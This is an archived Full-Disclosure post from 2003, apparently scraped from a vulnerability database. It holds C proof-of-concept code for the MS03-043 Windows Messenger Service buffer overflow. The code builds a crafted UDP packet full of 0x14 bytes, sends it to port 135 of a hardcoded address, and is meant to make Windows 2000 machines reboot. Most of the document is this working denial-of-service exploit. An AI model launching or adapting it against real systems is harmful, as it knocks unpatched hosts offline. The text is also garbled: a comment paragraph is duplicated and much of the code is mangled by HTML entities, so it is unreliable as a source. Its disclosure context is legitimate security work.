Lucene search

K
securityvulnsSecurityvulnsSECURITYVULNS:DOC:5262
HistoryOct 20, 2003 - 12:00 a.m.

[Full-Disclosure] Proof of concept for Windows Messenger Service overflow

2003-10-2000:00:00
vulners.com
8

/*

DoS Proof of Concept for MS03-043 - exploitation shouldn't be too hard.
Launching it one or two times against the target should make the machine
reboot. Tested against a Win2K SP4.

"The vulnerability results because the Messenger Service does not properly
validate the length of a message before passing it to the allocated buffer"
according to MS bulletin. Digging into it a bit more, we find that when a
character 0x14 in encountered in the 'body' part of the message, it is replaced
by a CR+LF. The buffer allocated for this operation is twice the size of the
string, which is the way to go, but

DoS Proof of Concept for MS03-043 - exploitation shouldn't be too hard.
Launching it one or two times against the target should make the machine
reboot. Tested against a Win2K SP4.

"The vulnerability results because the Messenger Service does not properly
validate the length of a message before passing it to the allocated buffer"
according to MS bulletin. Digging into it a bit more, we find that when a
character 0x14 in encountered in the 'body' part of the message, it is replaced
by a CR+LF. The buffer allocated for this operation is twice the size of the
string, which is the way to go, but is then copied to a buffer which was only
allocated 11CAh bytes. Thanks to that, we can bypass the length checks and
overflow the fixed size buffer.

Credits go to LSD :)

*/

#include <stdio.h>
#include <winsock.h>
#include <string.h>
#include <time.h>

// Packet format found thanks to a bit a sniffing
static unsigned char packet_header[] =
"\x04\x00\x28\x00"
"\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\xf8\x91\x7b\x5a\x00\xff\xd0\x11\xa9\xb2\x00\xc0"
"\x4f\xb6\xe6\xfc"
"\xff\xff\xff\xff" // @40 : unique id over 16 bytes ?
"\xff\xff\xff\xff"
"\xff\xff\xff\xff"
"\xff\xff\xff\xff"
"\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\xff\xff\xff\xff"
"\xff\xff\xff\xff" // @74 : fields length
"\x00\x00";

unsigned char field_header[] =
"\xff\xff\xff\xff" // @0 : field length
"\x00\x00\x00\x00"
"\xff\xff\xff\xff"; // @8 : field length

int main(int argc,char argv[])
{
int i, packet_size, fields_size, s;
unsigned char packet[8192];
struct sockaddr_in addr;
// A few conditions :
// 0 <= strlen(from) + strlen(machine) <= 56
// max fields size 3992
char from[] = "RECCA";
char machine[] = "ZEUS";
char body[4096] = "
** MESSAGE***";

    WSADATA wsaData;

    WSAStartup&#40;0x0202, &wsaData&#41;;

    ZeroMemory&#40;&addr, sizeof&#40;addr&#41;&#41;;
    addr.sin_family = AF_INET;
    addr.sin_addr.s_addr = inet_addr&#40;&quot;192.168.186.3&quot;&#41;;
    addr.sin_port = htons&#40;135&#41;;

    ZeroMemory&#40;packet, sizeof&#40;packet&#41;&#41;;
    packet_size = 0;

    memcpy&#40;&packet[packet_size], packet_header, sizeof&#40;packet_header&#41; - 1&#41;;
    packet_size += sizeof&#40;packet_header&#41; - 1;

    i = strlen&#40;from&#41; + 1;
    *&#40;unsigned int *&#41;&#40;&field_header[0]&#41; = i;
    *&#40;unsigned int *&#41;&#40;&field_header[8]&#41; = i;
    memcpy&#40;&packet[packet_size], field_header, sizeof&#40;field_header&#41; - 1&#41;;
    packet_size += sizeof&#40;field_header&#41; - 1;
    strcpy&#40;&packet[packet_size], from&#41;;
    packet_size += &#40;&#40;&#40;i - 1&#41; &gt;&gt; 2&#41; + 1&#41; &lt;&lt; 2; // padded to a multiple of 4

    i = strlen&#40;machine&#41; + 1;
    *&#40;unsigned int *&#41;&#40;&field_header[0]&#41; = i;
    *&#40;unsigned int *&#41;&#40;&field_header[8]&#41; = i;
    memcpy&#40;&packet[packet_size], field_header, sizeof&#40;field_header&#41; - 1&#41;;
    packet_size += sizeof&#40;field_header&#41; - 1;
    strcpy&#40;&packet[packet_size], machine&#41;;
    packet_size += &#40;&#40;&#40;i - 1&#41; &gt;&gt; 2&#41; + 1&#41; &lt;&lt; 2; // padded to a multiple of 4

    fprintf&#40;stdout, &quot;Max &#39;body&#39; size &#40;incl. terminal NULL char&#41; = &#37;d&#92;n&quot;, 3992 -

packet_size + sizeof(packet_header) - sizeof(field_header));
memset(body, 0x14, sizeof(body));
body[3992 - packet_size + sizeof(packet_header) - sizeof(field_header) - 1] = '\0';

    i = strlen&#40;body&#41; + 1;
    *&#40;unsigned int *&#41;&#40;&field_header[0]&#41; = i;
    *&#40;unsigned int *&#41;&#40;&field_header[8]&#41; = i;
    memcpy&#40;&packet[packet_size], field_header, sizeof&#40;field_header&#41; - 1&#41;;
    packet_size += sizeof&#40;field_header&#41; - 1;
    strcpy&#40;&packet[packet_size], body&#41;;
    packet_size += i;

    fields_size = packet_size - &#40;sizeof&#40;packet_header&#41; - 1&#41;;
    *&#40;unsigned int *&#41;&#40;&packet[40]&#41; = time&#40;NULL&#41;;
    *&#40;unsigned int *&#41;&#40;&packet[74]&#41; = fields_size;

    fprintf&#40;stdout, &quot;Total length of strings = &#37;d&#92;nPacket size = &#37;d&#92;nFields size = &#37;d&#92;n&quot;,

strlen(from) + strlen(machine) + strlen(body), packet_size, fields_size);

/*
for (i = 0; i < packet_size; i++)
{
if (i && ((i & 1) == 0))
fprintf(stdout, " ");
if (i && ((i & 15) == 0))
fprintf(stdout, "\n");
fprintf(stdout, "%02x", packet[i]);
}
fprintf(stdout, "\n");
*/
if ((s = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)) == -1)
exit(EXIT_FAILURE);

    if &#40;sendto&#40;s, packet, packet_size, 0, &#40;struct sockaddr *&#41;&addr, sizeof&#40;addr&#41;&#41; == -1&#41;
            exit&#40;EXIT_FAILURE&#41;;

/*
if (recvfrom(s, packet, sizeof(packet) - 1, 0, NULL, NULL) == -1)
exit(EXIT_FAILURE);
*/

    exit&#40;EXIT_SUCCESS&#41;;

}